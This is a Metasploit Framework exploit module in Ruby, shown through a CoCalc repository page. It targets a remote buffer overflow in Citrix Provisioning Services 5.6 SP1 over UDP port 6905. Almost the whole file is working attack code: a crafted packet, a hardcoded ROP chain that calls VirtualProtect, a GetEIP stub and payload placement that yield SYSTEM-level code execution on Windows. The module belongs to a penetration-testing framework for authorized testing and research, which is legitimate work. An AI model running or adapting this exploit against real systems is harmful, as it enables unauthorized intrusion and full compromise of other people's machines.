CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow',
14
'Description' => %q{
15
This module exploits a remote buffer overflow in the Citrix Provisioning Services
16
5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode
17
0x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, which allows code execution
18
under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2
19
and Windows XP SP3.
20
},
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery
25
'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author
26
'juan vazquez' # Metasploit module
27
],
28
'References' =>
29
[
30
['OSVDB', '75780'],
31
['BID', '49803'],
32
['URL', 'http://support.citrix.com/article/CTX130846'],
33
['ZDI', '12-010']
34
],
35
'DefaultOptions' =>
36
{
37
'EXITFUNC' => 'process',
38
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
39
},
40
'Payload' =>
41
{
42
'BadChars' => "\x00",
43
'EncoderOptions' => {'BufferRegister'=>'ECX'},
44
},
45
'Platform' => ['win'],
46
'Targets' =>
47
[
48
[ 'Citrix Provisioning Services 5.6 SP1',
49
{
50
'Offset' => 1500,
51
'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
52
}
53
]
54
],
55
'Privileged' => true,
56
'DisclosureDate' => '2011-11-04', #CTX130846 creation date
57
'DefaultTarget' => 0))
58
59
register_options([Opt::RPORT(6905)])
60
end
61
62
def exploit
63
64
packet = "\x06\x00\x02\x40" # DATA MSG
65
packet << rand_text_alpha_upper(18)
66
packet << "\x00\x00\x00\x00"
67
packet << "\x00\x00\x00\x00" # Length
68
packet << rand_text_alpha_upper(target['Offset'])
69
packet << [target.ret].pack('V')
70
71
rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
72
73
rop_gadgets =
74
[
75
0x0045b141, # POP EAX; RETN streamprocess.exe
76
0x1009a1bc, # VirtualProtect()
77
0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
78
0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
79
0x004ad0cf, # POP EBP; RETN streamprocess.exe
80
0x00455d9d, # PUSH ESP; RETN streamprocess.exe
81
0x00497f5a, # POP EAX; RETN streamprocess.exe
82
0xfffff9d0, # dwSize
83
0x00447669, # NEG EAX; RETN streamprocess.exe
84
0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
85
0x00426305, # POP ECX; RETN streamprocess.exe
86
0x00671fb9, # lpflOldProtect
87
0x004e41e6, # POP EDI; RETN streamprocess.exe
88
0x0040f004, # RETN streamprocess.exe
89
0x00495c05, # POP EAX; RETN streamprocess.exe
90
0xffffffc0, # flNewProtect
91
0x0042c79a, # NEG EAX; RETN streamprocess.exe
92
0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
93
0x0045c1fa, # POP EAX; RETN streamprocess.exe
94
0x90909090, # NOP
95
0x00435bbe, # PUSHAD; RETN streamprocess.exe
96
].pack("V*")
97
98
packet[338, rop_nop.length] = rop_nop
99
packet[490, rop_gadgets.length] = rop_gadgets
100
# Put payload address in ecx
101
geteip = "\xeb\x03" # jmp short 0x5
102
geteip << "\x59" # pop ecx
103
geteip << "\xff\xd1" # call ecx
104
geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"
105
packet[574, 10] = geteip
106
packet[584, payload.encoded.length] = payload.encoded
107
108
print_status("Trying target #{target.name}...")
109
110
connect_udp
111
udp_sock.put(packet)
112
113
handler
114
disconnect_udp
115
end
116
end
117
118